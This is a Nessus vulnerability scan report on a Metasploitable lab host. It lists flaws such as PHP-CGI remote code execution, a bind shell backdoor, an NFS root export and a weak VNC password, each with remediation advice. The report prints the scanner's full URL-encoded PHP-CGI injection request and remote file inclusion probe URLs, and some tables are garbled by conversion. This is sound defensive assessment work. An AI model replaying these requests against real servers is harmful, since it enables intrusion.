

# **METASPLOIT**

Report generated by Nessus™

Sat, 03 Jun 2023 08:10:58 EDT

# 192.168.50.101



#### Host Information

Netbios Name: METASPLOITABLE
IP: 192.168.50.101
MAC Address: 08:00:27:D9:2E:79

OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

#### **Vulnerabilities**

# 70728 - Apache PHP-CGI Remote Code Execution

## Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

#### Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

#### Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

#### **VPR** Score

#### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

#### References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
CVE	CVE-2012-2335
CVE	CVE-2012-2336
XREF	CERT:520827
XREF	EDB-ID:29290
XREF	EDB-ID:29316
XREF	CISA-KNOWN-EXPLOITED:2022/04/15

## Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

#### Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

#### Plugin Output

#### tcp/80/www

```
Nessus was able to verify the issue exists using the following request :
----- snip
POST /cgi-bin/php?%2D%64+%61%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+
%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F
%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F
%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E
%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F
%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 192,168,50,101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 115
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
```

## 51988 - Bind Shell Backdoor Detection

## Synopsis

The remote host may have been compromised.

## Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

#### Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

# Plugin Information

Published: 2011/02/15, Modified: 2022/04/11

#### Plugin Output

# tcp/1524/wild\_shell

# 32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

## Synopsis

The remote SSH host keys are weak.

# Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

#### See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

#### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

#### Risk Factor

Critical

#### **VPR Score**

7.4

#### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

#### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

#### References

BID 29179

CVE CVE-2008-0166

XREF CWE:310

Exploitable With
Core Impact (true)
Plugin Information
Published: 2008/05/14, Modified: 2018/11/15
Plugin Output
tcp/22/ssh

## 32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

## Synopsis

The remote SSL certificate uses a weak key.

## Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

#### See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

#### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

#### Risk Factor

Critical

#### **VPR Score**

7.4

#### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

#### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

#### References

BID 29179

CVE CVE-2008-0166

XREF CWE:310

Exploitable With
Core Impact (true)
Plugin Information
Published: 2008/05/15, Modified: 2020/11/16
Plugin Output
tcp/25/smtp

# 32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

## Synopsis

The remote SSL certificate uses a weak key.

## Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

#### See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

#### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

#### Risk Factor

Critical

#### **VPR Score**

7.4

#### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

#### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

#### References

BID 29179

CVE CVE-2008-0166

XREF CWE:310

Exploitable With
Core Impact (true)
Plugin Information
Published: 2008/05/15, Modified: 2020/11/16
Plugin Output
tcp/5432/postgresal

# 11356 - NFS Exported Share Information Disclosure

## Synopsis

It is possible to access NFS shares on the remote host.

## Description

At least one of the NFS shares exported by the remote server could be mounted by the scanning host. An attacker may be able to leverage this to read (and possibly write) files on remote host.

#### Solution

Configure NFS on the remote host so that only authorized hosts can mount its remote shares.

Risk Factor

Critical

**VPR** Score

5.9

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

#### References

CVE CVE-1999-0170
CVE CVE-1999-0211
CVE CVE-1999-0554

## Exploitable With

Metasploit (true)

## Plugin Information

Published: 2003/03/12, Modified: 2018/09/17

# Plugin Output

#### udp/2049/rpc-nfs

The following NFS shares could be mounted :

+ /

```
+ Contents of /:

. .

. bin

. boot

. cdrom

. dev

. etc

. home

. initrd

. initrd.img

. lib

. lost+found

. media

. mmt

. nohup.out

. opt

. proc

. root

. sbin

. srv

. sys

. tmp

. usr

. var

. vmlinuz
```

#### 20007 - SSL Version 2 and 3 Protocol Detection

#### **Synopsis**

The remote service encrypts traffic using a protocol with known weaknesses.

# Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

#### See Also

https://www.schneier.com/academic/paperfiles/paper-ssl.pdf

http://www.nessus.org/u?b06c7e95

http://www.nessus.org/u?247c4540

https://www.openssl.org/~bodo/ssl-poodle.pdf

http://www.nessus.org/u?5d15ba70

https://www.imperialviolet.org/2014/10/14/poodle.html

https://tools.ietf.org/html/rfc7507

https://tools.ietf.org/html/rfc7568

# Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

#### Risk Factor

#### Critical

#### CVSS v3.0 Base Score

# 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## CVSS v2.0 Base Score

# 10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

# Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

# Plugin Output

# tcp/25/smtp

	rver supports at 1	east one cipner	£ •		
Low Strength Ciphers (<= 64	-bit key)				
Name	Code	KEX	Auth	Encryption	N
EXP-RC2-CBC-MD5 export		RSA(512)	RSA	RC2-CBC(40)	
EXP-RC4-MD5 export		RSA(512)	RSA	RC4(40)	M
Medium Strength Ciphers (> 6	64-bit and < 112-b	it key, or 3DES	5)		
Name	Code	KEX	Auth	Encryption	
DES-CBC3-MD5		RSA		3DES-CBC(168)	
High Strength Ciphers (>= 1	12-bit key)				
Name	Code	KEX	Auth	Encryption	_ I
RC4-MD5		RSA	RSA	RC4 (128)	- I
e fields above are :					
{Tenable ciphername} {Cipher ID code} Kex={key exchange}					
Auth={authentication} Encrypt={symmetric encryptic MAC={message authentication {export flag}	code}				
<pre>Encrypt={symmetric encryptic MAC={message authentication</pre>	rver supports at l				
Encrypt={symmetric encryption MAC={message authentication {export flag} SSLv3 is enabled and the semplanation: TLS 1.0 and SSL 3	rver supports at 1				
Encrypt={symmetric encryption MAC={message authentication {export flag}  SSLv3 is enabled and the serval and s	rver supports at 13.0 cipher suites : -bit key)  Code	may be used wit	th SSLv3		
Encrypt={symmetric encryption MAC={message authentication {export flag}  SSLv3 is enabled and the second and th	rver supports at 13.0 cipher suites : -bit key)	may be used wit	eh SSLv3	Encryption DES-CBC(40)	<u>M</u>

#### 20007 - SSL Version 2 and 3 Protocol Detection

#### **Synopsis**

The remote service encrypts traffic using a protocol with known weaknesses.

#### Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

#### See Also

https://www.schneier.com/academic/paperfiles/paper-ssl.pdf

http://www.nessus.org/u?b06c7e95

http://www.nessus.org/u?247c4540

https://www.openssl.org/~bodo/ssl-poodle.pdf

http://www.nessus.org/u?5d15ba70

https://www.imperialviolet.org/2014/10/14/poodle.html

https://tools.ietf.org/html/rfc7507

https://tools.ietf.org/html/rfc7568

#### Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

#### Risk Factor

#### Critical

#### CVSS v3.0 Base Score

#### 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## CVSS v2.0 Base Score

#### 10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

# Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

## Plugin Output

#### tcp/5432/postgresql

```
- SSLv3 is enabled and the server supports at least one cipher.
Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3
 Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)
                                                            Auth Encryption
   Name
                              Code
                                               KEX
                                                                                           MAC
                                                            RSA
   EDH-RSA-DES-CBC3-SHA
                                                                     3DES-CBC(168)
   DES-CBC3-SHA
                                                           RSA 3DES-CBC(168)
                                                RSA
 High Strength Ciphers (>= 112-bit key)
                                                            Auth Encryption
   Name
                               Code
                                               KEX
                                                                                           MAC
                                                             - - - -
   DHE-RSA-AES128-SHA
                                                            RSA
                                                                    AES-CBC(128)
                                                DH
   DHE-RSA-AES256-SHA
                                                DH
                                                            RSA AES-CBC(256)
  AES128-SHA
                                                RSA
                                                            RSA AES-CBC(128)
 SHA1
                                                                    AES-CBC (256)
   AES256-SHA
                                                RSA
                                                            RSA
                                                             RSA
                                                                    RC4 (128)
   RC4 - SHA
                                                RSA
 SHA1
The fields above are :
 {Tenable ciphername}
 {Cipher ID code}
 Kex={key exchange}
 Auth={authentication}
 Encrypt={symmetric encryption method}
 MAC={message authentication code}
  {export flag}
```

## 33850 - Unix Operating System Unsupported Version Detection

## Synopsis

The operating system running on the remote host is no longer supported.

## Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

#### Solution

Upgrade to a version of the Unix operating system that is currently supported.

#### Risk Factor

Critical

#### CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

#### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

#### References

XREF IAVA:0001-A-0502 XREF IAVA:0001-A-0648

#### Plugin Information

Published: 2008/08/08, Modified: 2023/05/18

## Plugin Output

#### tcp/0

```
Ubuntu 8.04 support ended on 2011-05-12 (Desktop) / 2013-05-09 (Server). Upgrade to Ubuntu 21.04 / LTS 20.04 / LTS 18.04.
```

For more information, see : https://wiki.ubuntu.com/Releases

# 61708 - VNC Server 'password' Password

## Synopsis

A VNC server running on the remote host is secured with a weak password.

## Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

#### Solution

Secure the VNC service with a strong password.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

Plugin Output

tcp/5900/vnc

Nessus logged in using a password of "password".

## 125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerablity (PMASA-2019-3)

# Synopsis The remote web server hosts a PHP application that is affected by SQLi vulnerability. Description According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data. Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number. See Also http://www.nessus.org/u?c9d7fc8c Solution Upgrade to phpMyAdmin version 4.8.6 or later. Alternatively, apply the patches referenced in the vendor advisories. Risk Factor High CVSS v3.0 Base Score 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CVSS v3.0 Temporal Score 8.5 (CVSS:3.0/E:U/RL:O/RC:C) **VPR** Score 5.9 CVSS v2.0 Base Score 7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P) CVSS v2.0 Temporal Score 5.5 (CVSS2#E:U/RL:OF/RC:C)

## References

BID 108617

CVE CVE-2019-11768

# Plugin Information

Published: 2019/06/13, Modified: 2022/04/11

# Plugin Output

# tcp/80/www

URL : http://192.168.50.101/phpMyAdmin Installed version : 3.1.1

Installed version : 3.1.1 Fixed version : 4.8.6

## 39469 - CGI Generic Remote File Inclusion

## Synopsis

Arbitrary code may be run on the remote server.

## Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

#### See Also

https://en.wikipedia.org/wiki/Remote\_File\_Inclusion

http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion

#### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

## Risk Factor

High

## CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

#### References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:434
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

# Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

#### tcp/80/www

```
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to web code injection :
+ The 'page' parameter of the /mutillidae/ CGI :
/mutillidae/?page=http://oUybL06o.example.com/
----- output -----
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>: include(http://oUybLO6o.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br/><b>Warning</b>: include() [<a href='function.include'>function.in [...]
+ The 'page' parameter of the /mutillidae/index.php CGI :
/mutillidae/index.php?page=http://oUybLO6o.example.com/
----- output -----
<br/><b>Warning</b>: include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>: include(http://oUybLO6o.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
http://192.168.50.101/mutillidae/?page=http://oUybL06o.example.com/
http://192.168.50.101/mutillidae/index.php?page=http://oUybL06o.example.com/
```

# 136769 - ISC BIND Service Downgrade / Reflected DoS

Synopsis
The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.
Description
According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.
An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.
See Also
https://kb.isc.org/docs/cve-2020-8616
Solution
Upgrade to the ISC BIND version referenced in the vendor advisory.
Risk Factor
Medium
CVSS v3.0 Base Score
8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)
CVSS v3.0 Temporal Score
7.5 (CVSS:3.0/E:U/RL:O/RC:C)
VPR Score
5.2
CVSS v2.0 Base Score
5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)
CVSS v2.0 Temporal Score
3.7 (CVSS2#E:U/RL:OF/RC:C)
STIG Severity

# References

CVE CVE-2020-8616 XREF IAVA:2020-A-0217-S

# Plugin Information

Published: 2020/05/22, Modified: 2020/06/26

# Plugin Output

# udp/53/dns

Installed version : 9.4.2
Fixed version : 9.11.19

# 42256 - NFS Shares World Readable

Synopsis

The remote NFS server exports world-readable shares.

Description

The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

Solution

Place the appropriate restrictions on all NFS shares.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/10/26, Modified: 2020/05/05

Plugin Output

tcp/2049/rpc-nfs

```
The following shares have no access restrictions :
```

#### 59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

# Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

#### Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

#### See Also

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

http://www.php.net/archive/2012.php#id2012-05-08-1

http://www.php.net/ChangeLog-5.php#5.3.13

http://www.php.net/ChangeLog-5.php#5.4.3

http://www.nessus.org/u?80589ce8

https://www-304.ibm.com/support/docview.wss?uid=swg21620314

#### Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later.

Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

VPR Score

8.9

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID 53388

CVE CVE-2012-1823

CVE CVE-2012-2311
XREF CERT:520827
XREF EDB-ID:18834

XREF CISA-KNOWN-EXPLOITED:2022/04/15

# Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2012/05/14, Modified: 2022/03/28

## Plugin Output

## tcp/80/www

# 42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

# Synopsis

The remote service supports the use of medium strength SSL ciphers.

# Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

#### See Also

https://www.openssl.org/blog/blog/2016/08/24/sweet32/

https://sweet32.info

#### Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

**VPR** Score

6.1

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

# tcp/25/smtp

Medium Strength Ciphers (> 64-k	oit and	< 112	-bit :	key, or 3DES)			
Name	Code			KEX	Auth	Encryption	MAC
DES-CBC3-MD5		0x00,		RSA	RSA	3DES-CBC(168)	MD5
EDH-RSA-DES-CBC3-SHA	0x00,	0x16		DH	RSA	3DES-CBC(168)	
SHA1							
ADH-DES-CBC3-SHA	0x00,	0x1B		DH	None	3DES-CBC(168)	
SHA1							
DES-CBC3-SHA	0x00,	0x0A		RSA	RSA	3DES-CBC(168)	
SHA1							
The fields above are :  {Tenable ciphername} {Cipher ID code} Kex={key exchange} Auth={authentication} Encrypt={symmetric encryption mac={message authentication code{export flag}							

# 42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

# Synopsis

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# Description

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Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

#### See Also

https://www.openssl.org/blog/blog/2016/08/24/sweet32/

https://sweet32.info

#### Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

**VPR** Score

6.1

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

## tcp/5432/postgresql

```
Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

        Code
        KEX
        Auth
        Encryption

        0x00, 0x16
        DH
        RSA
        3DES-CBC(168)

                                                                                                             MAC
   Name
   EDH - RSA - DES - CBC3 - SHA
 SHA1
                                                                       RSA 3DES-CBC(168)
  DES-CBC3-SHA
                                     0x00, 0x0A
                                                        RSA
 SHA1
The fields above are :
 {Tenable ciphername}
 {Cipher ID code}
 Kex={key exchange}
 Auth={authentication}
  Encrypt={symmetric encryption method}
 MAC={message authentication code}
 {export flag}
```

#### 90509 - Samba Badlock Vulnerability

#### Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

#### Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

#### See Also

http://badlock.org

https://www.samba.org/samba/security/CVE-2016-2118.html

#### Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

BID 86002

CVE CVE-2016-2118 XREF CERT:813296

# Plugin Information

Published: 2016/04/13, Modified: 2019/11/20

# Plugin Output

tcp/445/cifs

Nessus detected that the Samba Badlock patch has not been applied.

## 19704 - TWiki 'rev' Parameter Arbitrary Command Execution

# Synopsis The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability. Description The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id. See Also http://www.nessus.org/u?c70904f3 Solution Apply the appropriate hotfix referenced in the vendor advisory. Risk Factor High CVSS v3.0 Base Score 8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) CVSS v3.0 Temporal Score 8.2 (CVSS:3.0/E:F/RL:O/RC:C) **VPR** Score 7.4 CVSS v2.0 Base Score 7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P) CVSS v2.0 Temporal Score 6.2 (CVSS2#E:F/RL:OF/RC:C) References BID 14834

## CVE CVE-2005-2877

Exploitable With

Metasploit (true)

Plugin Information

Published: 2005/09/15, Modified: 2022/04/11

Plugin Output

tcp/80/www

# 36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4)

**Synopsis** 

# The remote web server contains a PHP application that is affected by a code execution vulnerability. Description The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities: - The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation. - An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php. An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code. See Also https://www.tenable.com/security/research/tra-2009-02 http://www.phpmyadmin.net/home\_page/security/PMASA-2009-4.php Solution Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory. Risk Factor High **VPR** Score 6.7 CVSS v2.0 Base Score 7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P) CVSS v2.0 Temporal Score 5.5 (CVSS2#E:U/RL:OF/RC:C) References BID 34526

 CVE
 CVE-2009-1285

 XREF
 TRA:TRA-2009-02

 XREF
 SECUNIA:34727

XREF CWE:94

Plugin Information

Published: 2009/04/16, Modified: 2022/04/11

Plugin Output

tcp/80/www